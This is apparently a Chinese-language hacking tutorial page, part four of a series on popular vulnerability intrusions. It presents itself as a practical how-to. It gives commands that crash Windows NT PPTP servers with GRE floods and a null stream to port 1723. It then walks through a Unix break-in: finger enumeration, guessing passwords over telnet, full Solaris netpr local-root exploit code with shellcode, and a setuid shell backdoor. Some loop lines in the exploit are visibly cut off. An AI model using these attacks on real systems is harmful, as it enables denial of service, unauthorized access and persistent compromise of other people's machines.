当前位置:操作系统 > 玩转网络 >>

流行的漏洞入侵(四)

答案:6 教你DoS攻击微软的PPTP
呵呵,大家没有看错,的确是微软的,我们先看看PPTP是个什么东东PPTP(Piont-to-point Tunneling Protocol 点对点传输协议)是一个用以建立VPN的网络协议. 此协议需TCP(端口1723)GRE以完成工作.
易收攻击系统:
* Dell PowerEdge 2200 with Intel 10/100 adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS M200s with 3Com 905B adapter, 64 MB RAM, NT Server 4.0

安全的系统:
* HP Vectra XA with AMD PCNet integrated Ethernet, 128 MB RAM, NT Workstation 4.0
* Dell Latitude CPx with 3Com 3CCFEM656 PC Card adapter, 128 MB RAM, NT Workstation 4.0
* Generic dual PII (Asus motherboard) with 3Com 980x adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS T550 with 3Com 905C-TX adapter, 128 MB RAM, NT Workstation 4.0

如何实现:
~~~~~~~~~
*
需要的工具*
1.UNIX box(
例如linux,*bsd....)
2.netcat ( http://www.l0pht.com/~weld/netcat/ )
3.apsend ( http://www.elxsi.de/ )
4.ipsend ( http://coombs.anu.edu.au/~avalon/ )

OK,
这就好说了,
我们来看它的三个BUG
1 TCP
端口1723
此弱点只在priorSP6的机器上有效。并不是所有的机器都存在这个漏洞;请在Unix 操作系统内键入以下:
$ nc 1723 < /dev/zero

如机器存在此漏洞, 目标主机将在几秒种之内蓝屏,并有如下错误:
STOP 0x0A (0x0, 0x2, 0x0, 0x0) IRQL_NOT_LESS_OR_EQUAL
再次提醒,此弱点只对部分机器有效

2 GRE
此弱点对所有Service pack有效
在目标机器上,打开任务管理器选择“运行”。并打开 一个DOS窗口(开始-运行-CMD).Unix类操作系统上:
$ apsend -d --protocol 47 -m 0 -q
在目标主机上你将看到任务管理器内内核记忆的数字将缓慢上升。最终,这些数字将停止增加;此时, CPU在一段时间内有可能被100%占用。现在你可以试着在命令提示符后键入一个命令例如DIR,这时你将看 到一个信息说提示操作系统已不可能完成要执行的命令

3
弱点三:GRE
此弱点同样对所有的Service pack有效。请在Unix操作系统上:
#!/bin/csh
foo:
ipsend -i -P gre > /dev/null
goto foo
目标主机很快会蓝屏,大概需要50个数据包。
明白了吧

7 UNIX
攻击
这里为了方便我们用finger 0@ip 来找UNIX的薄弱机器
C:\>finger 0@IP
xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

jeffrey ??? pts/0 203.66.149.11

daniel ??? 437 114cm.kcable.

jamie ??? 0 203.66.162.68

postgres ??? pts/2 203.66.162.80

nsadmin ??? 768 203.66.19.50

ho ??? 390 61.169.209.106

house18 ??? pts/1 203.66.250.1

tong ??? pts/0 210.226. 42.69

jliu ??? pts/0 203.66.52.87

ptai ??? < . . . . >

看到了吗,这里的LOGIN下的就是我们要的用户名了
比如jeffrey,Daniel,Jamie,postgres
下面我们就来入侵
C:\>telnet xxx.xxx.xxx.xxx
一般的情况下我们都是猜密码,怎么猜??就是上面LOGIN下的用户名让它又做用户名和密码呀,事实上总有一些人为了方便是这么设置的
login: ptai
***输入用户名***

Password: ****
***输入密码***

Login incorrect
***登陆失败***

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul 2 13:21:55 from 210.226. 42.69
***这个用户上次登陆时的IP***

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail. (***HOHO~
登陆成功啦***)
看看这不就进来了
$ uname
a (***查看系统版本和补丁信息***)
$ set (***
查看一些系?潮淞啃畔?**)
$w
看看用户情况
$ gcc
我们看看有没有编辑器,以后你就知道有什么用了
gcc: No input files
看到没有GCC
$ ls -al

total 14

drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .

drwxr-xr-x 35 root root 1024 May 7 10:46 ..

-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile

-rw------- 1 root staff 320 Jul 4 18:52 .sh_history

-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc

-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login

-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile

$ cat /etc/passwd (***
检查/etc/passwd***)

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

$ ls -al / (***
查看根目录是否有.rhosts等文件***)

计算机输入信息略
$ netstat -an|grep LISTEN (***
查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN

*.21 *.* 0 0 0 0 LISTEN

*.23 *.* 0 0 0 0 LISTEN

*.514 *.* 0 0 0 0 LISTEN

*.513 *.* 0 0 0 0 LISTEN

*.512 *.* 0 0 0 0 LISTEN

*.540 *.* 0 0 0 0 LISTEN

*.79 *.* 0 0 0 0 LISTEN

*.37 *.* 0 0 0 0 LISTEN

*.7 *.* 0 0 0 0 LISTEN

*.9 *.* 0 0 0 0 LISTEN

*.13 *.* 0 0 0 0 LISTEN

*.19 *.* 0 0 0 0 LISTEN

.

$ cd /tmp

$ ls -al

好像没有什么问题我们来提升权限
$ set
$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp
$ cat > test.c (***
cat命令写一个文件***)
这是核心呀,这就是拿到ROOT权限中重要的一步
*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/

/*## /usr/lib/lp/bin/netpr #*/


/* requires to specify the address of a host with 515 port opened */


#define NOPNUM 4000

#define ADRNUM 1200

#define ALLIGN 3


char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh"

;


char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;


static char nop[]="\x80\x1c\x40\x11";


main(int argc,char **argv){

char buffer[10000],adr[4],*b,*envp[2];

int i;


printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");

printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");


if(argc==1){

printf("usage: %s lpserver\n",argv[0]);

exit(-1);

}


*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;


envp[0]=&buffer[0];

envp[1]=0;


b=&buffer[0];

sprintf(b,"xxx=");

b+=4;

for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

for(i=0;i

for(i=0;i

*b=0;


b=&buffer[5000];

for(i=0;i

for(i=0;i

*b=0;


execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

"-p",&buffer[5000],"/bin/sh",0,envp);

}

^D
(***
这里是按ctrl + d 结束写文件,你用vi来写也可以,ftprcp等上传也可以。***)
(***
源程序在 http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)

$ ls -al /tmp (***
查看test.c是否建立***)

找到了吧,哪我们就成功的建立了
$ gcc -o test test.c
编辑它,使它溢出
$ ./test

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc


usage: ./test lpserver

$ ./test localhost

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc


# id

uid=1035(delex) gid=20(staff) euid=0(root) (***
成功获得root***)
OK,
想做什么就看你的了下面是一些题外话了
# mkdir /usr/lib/...

# cp /bin/ksh /usr/lib/
/.x (***做个简单的后门***)

# chmod +s /usr/lib/
/.x

# cat /etc/hosts (***
看看这个网络多大***)

以下是在上面所要用到的扫描器和原代码
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

里面所用到的有些程序代码请到 http://lsd-pl.net/ http://www.hack.co.za 查找。
其实每个操作系统都有漏洞,简单的说我们只要找到该系统对应的漏洞然后编辑它,使它溢出就可以了,这也是黑客最常用的手法


8,D.O.S
呵呵,还记的对白宫的DOS之战吗,呵呵,哪还不来试试
下载软件
FakePing
的工具 Http://www.patching.net/shotgun/FakePing.exe
下载 udpflood.zip
安装网址: http://202.102.230.155/netsafe/software/hacker/attack.htm

上一个:流行的漏洞入侵(一)
下一个:“小邮差”(Worm.Mimail.e) 新变种分析报告

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,